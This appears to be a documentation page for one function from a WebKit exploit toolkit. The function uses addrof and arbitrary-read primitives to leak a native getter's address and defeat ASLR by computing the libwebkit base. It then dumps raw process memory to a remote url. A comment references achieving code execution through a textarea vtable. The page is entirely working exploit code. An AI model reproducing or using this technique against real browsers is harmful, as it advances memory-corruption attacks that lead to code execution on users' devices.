Function dump_scrollLeft

g2all/900/send.js:209–231

()

// See howto_code_exec.txt about code execution via the vtable of a textarea
// element.
function dump_scrollLeft() {
    let proto = Object.getPrototypeOf(textarea);
    proto = Object.getPrototypeOf(proto);
    proto = Object.getPrototypeOf(proto);

    const scrollLeft_get =
        Object.getOwnPropertyDescriptors(proto).scrollLeft.get
    ;

    // get the JSCustomGetterSetterFunction
    const js_func = mem.addrof(scrollLeft_get);
    const getterSetter = js_func.readp(0x28);
    const getter = getterSetter.readp(8);

    const libwebkit_base = find_base(getter, true, true);
    const offset = getter.sub(libwebkit_base);
    send(
        url,
        make_buffer(getter, 0x800),
        `scrollLeft_getter_dump_offset_${offset}.bin`,
        () => log('sent')
    );
}